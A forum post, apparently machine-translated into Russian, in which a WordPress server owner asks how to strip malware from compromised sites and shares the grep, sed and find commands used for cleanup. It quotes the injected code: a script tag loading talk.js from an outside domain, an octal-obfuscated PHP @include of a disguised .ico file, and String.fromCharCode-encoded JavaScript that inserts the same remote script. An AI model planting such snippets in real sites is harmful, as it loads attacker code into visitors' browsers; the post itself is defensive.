Итак, весь мой сервер был взломан или возникла проблема с вредоносным ПО. мой сайт основан на WordPress, и большинство сайтов, размещенных на моем сервере, основаны на WordPress. Хакер добавил эту строку кода в каждый отдельный файл и в базу данных
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Я выполнил поиск по grep, используя
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Я пытаюсь заменить его во всей файловой структуре на sed, и я написал следующую команду:
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
Я пытаюсь сначала заменить строку в одном файле index.phpя знаю, что это работает.
и я знаю, что мой код неверен. Пожалуйста, помогите мне с этим.
Редактировать: Я пытался с кодом @ Eran, и он удалил всю строку, что хорошо и как ожидалось. Тем не менее, общий жаргон такой:
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
И хотя я хочу удалить весь контент, я хочу сохранить открывающий тег php <?php.
Хотя решение @ slybloty легкои это сработало.
, чтобы полностью удалить код из всех затронутых файлов. Я запускаю следующие 3 команды, Спасибо всем вам за это.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Удалить строку сценария find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d' - Удалить @include line find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - чтобы удалить строку комментария
Кроме того, я снова запустил все 3 команды для '*.html', потому что скрипт хакера создал нежелательный index.html во всехкаталоги. Я не был уверен, является ли правильным удаление массива index.html.
Теперь мне все еще нужно выяснить ненужные файлы и его следы.
РЕДАКТИРОВАТЬ 2:
Хакерский скрипт также добавил код JS.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Попытка выяснить, могу ли я sed также.